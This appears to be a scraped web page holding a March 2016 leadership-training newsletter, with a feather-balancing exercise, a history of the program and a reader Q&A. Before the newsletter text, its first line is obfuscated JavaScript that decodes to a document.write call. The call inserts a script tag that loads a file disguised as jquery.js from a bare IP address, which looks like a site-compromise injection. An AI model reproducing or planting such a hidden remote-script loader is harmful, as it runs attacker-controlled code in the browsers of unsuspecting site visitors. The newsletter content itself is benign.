var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); March 2016 Newsletter – Unleash your Leadership Potential

March 2016 Newsletter

Letter from the Editor

Most baby boomers will remember the old song, “Wooden Ships” (recorded most famously by Crosby, Stills and Nash). The first verse begins, “If you smile at me, I will understand, ’cause that is something everybody, everywhere does in the same language.”

I recently returned from delivering two train-the-trainer sessions in Singapore and Shanghai, and I was impressed by the way that, like smiles, the Unleash Your Leadership Potential program seemed to resonate and translate effectively across cultures. Participants included leaders from India, Australia, Korea, Japan and China. It was somewhat surprising but gratifying to find that leaders from all these nations found commonality in the challenges they face. It was even more satisfying to see how the ULP principles were welcomed and embraced by all participants.

It’s of course my fondest hope that our efforts here at Entelechy can not only be of value to our international clients in the field of business, but in some way help leaders come together in recognizing their common interests and goals.



Leaders Never Stop Learning

Here’s a fun and effective exercise, involving peacock feathers, that demonstrates a key aspect of effective leadership. It works great for a group!

Peacock feathers are fairly easy to obtain online and not to worry – no peacocks are harmed in their acquisition. Those beautiful birds regularly shed their feathers for our enjoyment. Entelechy_BalanceFeatherOnFinger

Ask participants to move away from their chairs. Tell participants that they must follow the instructions exactly as they are given:

    • Take the tip of the feather and place it on the end of your index finger.
    • Focus only on the place where the feather meets your finger. Don’t look away. After all, it’s the balance point; it’s where your attention is needed right now.
    • Let go of the feather and balance it on your finger focusing only on the point of the feather. (At this point participants should be having a tough time balancing the feather on their finger.)
    • Allow participants several seconds to try and balance the feather.

After several seconds, tell participants to stop and explain that the instructions are now going to change. Share the new instructions for the activity:

    • Take the tip of the feather and place it on the end of your index finger.
    • This time focus only on the top of the feather.
    • Instruct participants to let go of the feather and balance it on their finger.
    • Allow participants several seconds to try and balance the feather. (Participants should find it much easier to balance the feather this time.)
    • After several seconds of balancing, direct participants to retake their seats. (Let them keep the peacock feather.)

To debrief the activity, ask the participants, “Why do you think it was easier to balance the feather when you focused on the top of the feather?”

  • When you focus in the right place – the top of the feather – you are more successful.
  • When the focus was only on the tip, it was impossible to see the impact of your balancing attempts on the whole feather.

Ask participants to link this activity to their role as a leader. What lessons can you apply from the peacock feather activity to your role as a leader?

  • As leaders, it is most critical to keep the big picture in mind as we are forced into the day-to-day demands on our attention. We may want to ask ourselves how important it is to fight for a small detail if it negatively impacts the “bigger” relationship. There is a balance between consideration of the details and the big-picture goals and objectives.
  • When you focus only on the details, you miss the impact you have on those around you.
  • It is easier to make a change when you and your leaders and employees can keep the big picture in mind.

This is one of many activities in Entelechy’s award-winning leadership development program, Unleash Your Leadership Potential.

(While you’re waiting for your feathers to arrive, you may practice using a yardstick.)

ULP: Where Did It Come From?

Unleash Your Leadership Potential (ULP), the world’s premier award-winning, customizable, client-owned leadership development program, is a product of over 30 years of research, application and refinement. It’s continually refined even today.

Terry Traut reflects, “Our coaching model and training was actually created our first year in business to help our clients reinforce what their salespeople learned in the sales training we created for them.” The coaching training quickly became the cornerstone to ALL of Entelechy’s customized programs.

The coaching model – and the other models that form the basis for ULP – are not only practical and easy to use, they came directly from Terry’s research for both his master’s and his doctorate programs, which involved him creating simple, effective models that could be used in the throes of the workplace.

In addition to leadership and management theory and research, Terry drew from his studies in adult learning and development. A pre-course, interactive discussion, video illustration of skills, and application with feedback and on-the-job application (with manager involvement) became the hallmark of Entelechy’s training.

Finally, Terry drew upon his studies in organizational development and systems thinking. Recognizing that skill development happens within the context of the larger organization, with its barriers, challenges, and quagmires, Terry developed a process of customizing training to overcome many of the barriers that are common in training programs. This process – the “Entelechy Engine” – drives the success of our programs today.

Please visit our website,, to learn more.

Dear Terry – I Field Your Questions

Q_A_ResizedSippy from Oklahoma City: I’ve worked with the same manager for many years and can’t help seeing (and suffering from) the way she changes management style in accordance with whatever latest best seller on leadership she’s reading. What can I tell her that will encourage her to stick with something that works consistently?

TerryMany managers focus too much on the experts – the gurus, the sages – for their pearls of wisdom and potions. The fact is, for a leadership development program to result in lasting, meaningful impact, the program needs relevance, simplicity, and – most of all – organizational alignment.

Successful leadership development programs have a consistent language throughout, and they have simple, yet effective, models so managers don’t emerge as “Frankenleaders,” a term coined by writer (and leadership guru) Marcus Buckingham.  In his article The Frankenleader Fad (Fast Company, Sep. 2005), Buckingham describes the Frankenleader as the monster that’s created when disjointed – and often conflicting – theories, approaches and techniques are used as the basis for leadership development.

In other words, the best sellers tend to advance a position that one size fits all. But this simply isn’t true. Your manager should be encouraged to seek out training that is flexible and versatile and that can be effectively applied to the unique structure of your organization.

Portions of this response are taken from a chapter Terry contributed to his colleague Larry Israelite’s book, More Lies About Learning, available here on Amazon.

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Leadership Training that Sticks: 23 Lessons Learned Over 23 Years


Businesses invest billions in leadership development, often with disappointing results. Click here to learn how to make leadership training “stick.”

Author: STEP Consulting